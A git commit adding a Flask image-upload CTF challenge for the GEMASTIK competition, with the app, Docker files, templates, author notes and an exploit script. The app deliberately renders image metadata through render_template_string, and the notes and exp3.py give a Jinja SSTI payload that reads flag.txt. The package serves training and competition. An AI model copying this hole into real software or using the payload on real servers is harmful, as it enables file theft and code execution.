add blogpost and cdn chall

This commit is contained in:
Jonathan
2025-10-10 22:34:43 +07:00
parent ea02892f14
commit 2d51b73a1e
47 changed files with 1904 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
## CDN
db used: sqlite
flag.txt: GEMASTIK{random sha256 generated on app start}
### feature:
[authentication required with login and register, register default as "user" role]
1. upload image
### Vulns
#### vuln1: SSTI on image Date Created metadata, exiftool cant insert this, need to write the image's blob
example:
```bash
(base) jons@01-20-jonathanmarbun:/mnt/c/1Jonathan/CTFS/gawe/gms25/web2/exploit$ exiftool -overwrite_original -IPTC:DateCreated="{{7*7}}" image.png
Warning: Invalid date format (use YYYY:mm:dd) in IPTC:DateCreated (ValueConvInv)
Nothing to do.
```
payload to inject:
```{{lipsum.__builtins__['open']('flag.txt').read()}}```
when editing the Date Created metadata manually, somehow it has limit of 46 char (but we can expand that to make it more by deleting the content of another metadata) -> check ssti.png
it probably have different behavior on another image file or format
payload: check exploit/exp3.py
#### vuln2:
### Patching Rule?
- dont remove flag.txt/changes its content
- ensure image metadata generation still available
- ensure exiftool still used
+21
View File
@@ -0,0 +1,21 @@
FROM python:3.12-slim
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
PIP_NO_CACHE_DIR=1
WORKDIR /app
RUN apt-get update \
&& apt-get install -y --no-install-recommends libimage-exiftool-perl \
&& rm -rf /var/lib/apt/lists/*
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . /app
RUN chmod +x /app/entrypoint.sh \
&& mkdir -p /app/uploads && chmod 755 /app/uploads
EXPOSE 8000
ENTRYPOINT ["/bin/bash", "entrypoint.sh"]
+265
View File
@@ -0,0 +1,265 @@
import os
import re
import sqlite3
import hashlib
import secrets
import datetime
import subprocess
from pathlib import Path
from flask import *
from werkzeug.security import generate_password_hash, check_password_hash
from werkzeug.utils import secure_filename
APP_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = os.path.join(APP_DIR, "data.db")
UPLOAD_DIR = os.path.join(APP_DIR, "uploads")
FLAG_PATH = os.path.join(APP_DIR, "flag.txt")
ALLOWED_EXT = {"png", "jpg", "jpeg", "bmp"}
MAX_CONTENT_LENGTH = 8 * 1024 * 1024
app = Flask(__name__)
app.secret_key = os.environ.get("SECRET_KEY", secrets.token_hex(16))
app.config["MAX_CONTENT_LENGTH"] = MAX_CONTENT_LENGTH
app.config["UPLOAD_FOLDER"] = UPLOAD_DIR
def get_db():
db = getattr(g, "_db", None)
if db is None:
db = g._db = sqlite3.connect(DB_PATH, check_same_thread=False)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_db(_exc):
db = getattr(g, "_db", None)
if db:
db.close()
def init_db():
Path(UPLOAD_DIR).mkdir(parents=True, exist_ok=True)
db = get_db()
db.executescript("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL DEFAULT 'user',
created_at TEXT NOT NULL
);
CREATE TABLE IF NOT EXISTS posts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL,
title TEXT NOT NULL,
filename TEXT NOT NULL,
metadata TEXT,
created_at TEXT NOT NULL,
FOREIGN KEY(user_id) REFERENCES users(id)
);
""")
db.commit()
def _resolve_flag_file_path():
p = FLAG_PATH
if os.path.isdir(p):
p = os.path.join(p, "flag.txt")
os.makedirs(os.path.dirname(p), exist_ok=True)
return p
def generate_flag_at_boot():
path = _resolve_flag_file_path()
if not os.path.exists(path) or os.environ.get("RESEED_FLAG") == "1":
token = secrets.token_bytes(32)
sha = hashlib.sha256(token).hexdigest()
with open(path, "w", encoding="utf-8") as fh:
fh.write(f"GEMASTIK{{{sha}}}\n")
def current_user():
if "uid" not in session:
return None
db = get_db()
cur = db.execute("SELECT id, username, role FROM users WHERE id = ?", (session["uid"],))
return cur.fetchone()
def _is_within(child_path: str, parent_dir: str) -> bool:
child_real = os.path.realpath(child_path)
parent_real = os.path.realpath(parent_dir)
try:
return os.path.commonpath([child_real, parent_real]) == parent_real
except ValueError:
return False
def _exiftool_text(path_on_disk: str) -> str:
if not _is_within(path_on_disk, UPLOAD_DIR):
return "no-metadata"
try:
proc = subprocess.run(
["exiftool", "--", path_on_disk],
capture_output=True,
text=True,
timeout=5
)
if proc.returncode != 0:
return "no-metadata"
return proc.stdout if proc.stdout else "no-metadata"
except subprocess.TimeoutExpired:
return "exif_err: timeout"
except FileNotFoundError:
return "exif_err: exiftool not found"
except Exception as e:
return f"exif_err: {e}"
def allowed_file(fn: str) -> bool:
if "." not in fn:
return False
ext = fn.rsplit(".", 1)[-1].lower()
return ext in ALLOWED_EXT
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form.get("username", "").strip()
password = request.form.get("password", "")
if not username or not password:
flash("Username and password required")
return render_template("register.html")
pw_hash = generate_password_hash(password)
try:
db = get_db()
db.execute(
"INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, 'user', ?)",
(username, pw_hash, datetime.datetime.utcnow().isoformat() + "Z"),
)
db.commit()
except sqlite3.IntegrityError:
flash("Username already exists")
return render_template("register.html")
flash("Registered. Please login.")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username", "").strip()
password = request.form.get("password", "")
db = get_db()
cur = db.execute(
"SELECT id, username, password_hash, role FROM users WHERE username = ?",
(username,),
)
row = cur.fetchone()
if not row or not check_password_hash(row["password_hash"], password):
flash("Invalid credentials")
return render_template("login.html")
session["uid"] = row["id"]
flash(f"Welcome, {row['username']}!")
return redirect(url_for("gallery"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
flash("Logged out")
return redirect(url_for("login"))
@app.route("/upload", methods=["GET", "POST"])
def upload():
user = current_user()
if not user:
return redirect(url_for("login"))
if request.method == "POST":
title = request.form.get("title", "").strip() or "(untitled)"
f = request.files.get("image")
if not f or f.filename == "":
flash("Choose an image.")
return render_template("upload.html")
orig_name = secure_filename(f.filename)
if not allowed_file(orig_name):
flash("Unsupported file type.")
return render_template("upload.html")
ext = orig_name.rsplit(".", 1)[-1].lower()
data = f.read()
sha = sha256_hex(data)
stored = f"{sha}.{ext}"
path = Path(UPLOAD_DIR) / stored
if not path.exists():
path.write_bytes(data)
metadata_blob = _exiftool_text(str(path))
db = get_db()
db.execute(
"""
INSERT INTO posts (user_id, title, filename, metadata, created_at)
VALUES (?, ?, ?, ?, ?)
""",
(user["id"], title, stored, metadata_blob, datetime.datetime.utcnow().isoformat() + "Z"),
)
db.commit()
flash("Upload complete.")
return redirect(url_for("gallery"))
return render_template("upload.html")
@app.route("/")
@app.route("/gallery")
def gallery():
user = current_user()
db = get_db()
cur = db.execute(
"""
SELECT p.id, p.title, p.filename, p.created_at, u.username
FROM posts p JOIN users u ON p.user_id = u.id
ORDER BY p.id DESC
"""
)
posts = cur.fetchall()
return render_template("gallery.html", posts=posts, user=user)
@app.route("/post/<int:pid>")
def view_post(pid):
db = get_db()
cur = db.execute(
"SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id WHERE p.id = ?",
(pid,),
)
post = cur.fetchone()
if not post:
abort(404)
if request.args.get("meta") == "1":
return Response((post["metadata"] or ""), mimetype="text/plain")
metadata_full = post["metadata"] or ""
md_map = {"File Name": "", "Date Created": ""}
for m in re.finditer(r"^\s*(File Name|Date Created)\s*:\s*(.*)$", metadata_full, flags=re.MULTILINE):
key = m.group(1)
val = m.group(2).strip()
md_map[key] = val
file_name_val = md_map["File Name"]
date_created_val = md_map["Date Created"]
metadata_snippet_html = f"<pre>File Name: {file_name_val}\nDate Created: {date_created_val}</pre>"
tpl_path = os.path.join(APP_DIR, "templates", "view_post.html")
with open(tpl_path, "r", encoding="utf-8") as fh:
tpl_src = fh.read()
placeholder = "{{ metadata_snippet or '' }}"
if placeholder not in tpl_src:
page_src = tpl_src + "\n" + metadata_snippet_html
else:
page_src = tpl_src.replace(placeholder, metadata_snippet_html)
return render_template_string(page_src, post=post)
@app.route("/i/<path:filename>")
def cdn_serve(filename):
return send_from_directory(UPLOAD_DIR, filename, as_attachment=False)
@app.errorhandler(413)
def too_large(_):
flash("File too large.")
return redirect(url_for("upload"))
if __name__ == "__main__":
with app.app_context():
init_db()
generate_flag_at_boot()
app.run(host="0.0.0.0", port=8000, debug=False)
+12
View File
@@ -0,0 +1,12 @@
version: "3.8"
services:
web:
build: .
ports:
- "4414:8000"
environment:
SECRET_KEY: "c75f1259a4c95bb31563405d488d7bf9c0eaf4d562fd13557624f8e18eb5cfff"
RESEED_FLAG: "1"
volumes:
- ./uploads:/app/uploads
restart: unless-stopped
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env bash
set -euo pipefail
mkdir -p /app/uploads
chmod 755 /app/uploads
python - <<'PY'
import os
import app as m
with m.app.app_context():
m.init_db()
m.generate_flag_at_boot()
print("DB & flag initialized.")
PY
FLAG_PATH="${FLAG_PATH:-/app/flag.txt}"
if [ -d "$FLAG_PATH" ]; then
if [ -f "$FLAG_PATH/flag.txt" ]; then
chown root:root "$FLAG_PATH/flag.txt" || true
chmod 444 "$FLAG_PATH/flag.txt" || true
fi
else
if [ -f "$FLAG_PATH" ]; then
chown root:root "$FLAG_PATH" || true
chmod 444 "$FLAG_PATH" || true
fi
fi
exec python app.py
+7
View File
@@ -0,0 +1,7 @@
# Convenience: reseed flag once without starting server
import hashlib, secrets, os
FLAG_PATH = os.path.join(os.path.dirname(__file__), "flag.txt")
sha = hashlib.sha256(secrets.token_bytes(32)).hexdigest()
with open(FLAG_PATH, "w", encoding="utf-8") as fh:
fh.write(f"GEMASTIK{{{sha}}}\n")
print("Flag reseeded:", open(FLAG_PATH).read().strip())
+4
View File
@@ -0,0 +1,4 @@
Flask==3.0.3
Werkzeug==3.0.3
Pillow==10.4.0
exifread==3.0.0
+20
View File
@@ -0,0 +1,20 @@
:root { --bg: #0b0d10; --fg: #e5e7eb; --muted:#9ca3af; --card:#111317; --accent:#60a5fa; --stroke:#1f2937; }
* { box-sizing: border-box; }
body { margin:0; font: 15px/1.5 system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; background: var(--bg); color: var(--fg); }
a { color: var(--accent); text-decoration: none; }
.topbar { display:flex; justify-content:space-between; align-items:center; padding:12px 16px; border-bottom:1px solid var(--stroke); background:#0e1116; }
.brand { font-weight:700; letter-spacing:.3px; }
.container { max-width: 980px; margin: 24px auto; padding: 0 16px; }
.flash > div { background:#1a2332; border:1px solid #22314a; padding:8px 12px; margin:12px 0; border-radius:8px; }
label { display:block; margin:12px 0 6px; color: var(--muted); }
input, textarea { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--stroke); background:#0f1217; color:var(--fg); }
button { margin-top:12px; padding:10px 16px; border-radius:8px; border:1px solid #2b3344; background:#1b2333; color:#dbeafe; cursor:pointer; }
.grid { display:grid; grid-template-columns: repeat(auto-fill, minmax(220px,1fr)); gap:16px; }
.card { display:block; border:1px solid var(--stroke); border-radius:12px; overflow:hidden; background: var(--card); }
.card img { width:100%; height:160px; object-fit:cover; display:block; }
.card .meta { padding:10px 12px; }
.card .title { font-weight:600; }
.card .sub { color: var(--muted); font-size: 12px; margin-top:4px; }
.post .full { width:100%; max-height:65vh; object-fit:contain; border:1px solid var(--stroke); border-radius:12px; }
details.desc { margin-top:12px; }
.foot { border-top:1px solid var(--stroke); color:var(--muted); padding:16px; text-align:center; margin-top:40px; }
+36
View File
@@ -0,0 +1,36 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>pix.cdn — demo</title>
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}" />
</head>
<body>
<header class="topbar">
<a href="{{ url_for('gallery') }}" class="brand">pix.cdn</a>
<nav>
{% if session.get('uid') %}
<a href="{{ url_for('upload') }}">Upload</a>
<a href="{{ url_for('logout') }}">Logout</a>
{% else %}
<a href="{{ url_for('login') }}">Login</a>
<a href="{{ url_for('register') }}">Register</a>
{% endif %}
</nav>
</header>
{% with msgs = get_flashed_messages() %}
{% if msgs %}
<div class="flash">
{% for m in msgs %}<div>{{ m }}</div>{% endfor %}
</div>
{% endif %}
{% endwith %}
<main class="container">
{% block content %}{% endblock %}
</main>
<footer class="foot">© pix.cdn</footer>
</body>
</html>
+20
View File
@@ -0,0 +1,20 @@
{% extends "base.html" %}
{% block content %}
<h2>Gallery</h2>
{% if not posts %}
<p>No posts yet. <a href="{{ url_for('upload') }}">Upload one</a>.</p>
{% endif %}
<div class="grid">
{% for p in posts %}
<a class="card" href="{{ url_for('view_post', pid=p.id) }}">
<img src="{{ url_for('cdn_serve', filename=p.filename) }}" alt="thumb" />
<div class="meta">
<div class="title">{{ p.title }}</div>
<div class="sub">{{ p.username }} · {{ p.created_at }}</div>
</div>
</a>
{% endfor %}
</div>
{% endblock %}
+11
View File
@@ -0,0 +1,11 @@
{% extends "base.html" %}
{% block content %}
<h2>Login</h2>
<form method="post">
<label>Username</label>
<input name="username" required />
<label>Password</label>
<input name="password" type="password" required />
<button type="submit">Login</button>
</form>
{% endblock %}
@@ -0,0 +1,12 @@
{% extends "base.html" %}
{% block content %}
<h2>Register</h2>
<form method="post">
<label>Username</label>
<input name="username" required />
<label>Password</label>
<input name="password" type="password" required />
<button type="submit">Create account</button>
</form>
<p class="hint">New users default to role <code>user</code>.</p>
{% endblock %}
+13
View File
@@ -0,0 +1,13 @@
{% extends "base.html" %}
{% block content %}
<h2>Upload image</h2>
<form method="post" enctype="multipart/form-data">
<label>Title</label>
<input name="title" placeholder="My picture" />
<label>Image file (png/jpg/jpeg/bmp)</label>
<input type="file" name="image" accept=".png,.jpg,.jpeg,.bmp" required />
<label>Notes (optional, saved with metadata)</label>
<textarea name="notes" rows="4" placeholder="CDN descriptors, tags, etc."></textarea>
<button type="submit">Upload</button>
</form>
{% endblock %}
@@ -0,0 +1,14 @@
{% extends "base.html" %}
{% block content %}
<article class="post">
<h2>{{ post.title }}</h2>
<img class="full" src="{{ url_for('cdn_serve', filename=post.filename) }}" alt="" />
<details class="desc">
<summary>Delivery details</summary>
<p>Static CDN reference: <code>/i/{{ post.filename }}</code></p>
<p>Uploaded at: <code>{{ post.created_at }}</code></p>
</details>
<template id="internal-meta" hidden>{{ metadata_snippet or '' }}</template>
</article>
{% endblock %}
Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

BIN
View File
Binary file not shown.
+91
View File
@@ -0,0 +1,91 @@
import os
import re
import random
import string
from pathlib import Path
import requests
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
HOST = "http://localhost:4414"
REGISTER_URL = f"{HOST}/register"
LOGIN_URL = f"{HOST}/login"
UPLOAD_URL = f"{HOST}/upload"
HOME_URL = f"{HOST}/"
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
def rnd(n=8):
alpha = string.ascii_lowercase + string.digits
return ''.join(random.choices(alpha, k=n))
USERNAME = rnd()
PASSWORD = rnd()
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata
s = requests.Session()
s.headers.update({"User-Agent": "ssti-exp/1.0"})
def ok_or_redirect(resp):
return 200 <= resp.status_code < 400
# 1) Register (allow redirects)
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
allow_redirects=True, timeout=TIMEOUT)
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
if not ok_or_redirect(r):
print("[x] Registration failed")
raise SystemExit(1)
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
# 2) Login (allow redirects)
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
allow_redirects=True, timeout=TIMEOUT)
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
if not ok_or_redirect(r):
print("[x] Login failed")
raise SystemExit(1)
print("[+] Logged in")
# 3) Upload image (title + image)
img_path = Path(LOCAL_IMAGE)
if not img_path.exists():
raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
with img_path.open("rb") as fh:
files = {"image": (img_path.name, fh, "image/png")}
data = {"title": "SSTI Exploit"}
r = s.post(UPLOAD_URL, data=data, files=files,
allow_redirects=True, timeout=TIMEOUT)
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
if not ok_or_redirect(r):
print("[x] Upload failed")
raise SystemExit(1)
print("[+] Upload complete")
# 4) Home → cari post id terbaru
r = s.get(HOME_URL, timeout=TIMEOUT)
print(f"[i] Home -> {r.status_code}")
if r.status_code != 200:
print("[x] Failed to load home")
raise SystemExit(1)
post_ids = re.findall(r'/post/(\d+)', r.text)
if not post_ids:
print("[-] No posts found on home.")
# print(r.text[:800])
raise SystemExit(1)
pid = max(map(int, post_ids))
post_url = f"{HOST}/post/{pid}"
print(f"[+] Newest post: {post_url}")
# 5) Trigger SSTI dan cari flag
r = s.get(post_url, timeout=TIMEOUT)
print(f"[i] Post -> {r.status_code}")
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
if m:
print("[+] Flag:", m.group(0))
else:
print("[-] Flag not found in response.")
print(r.text[:1200])
Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1012 KiB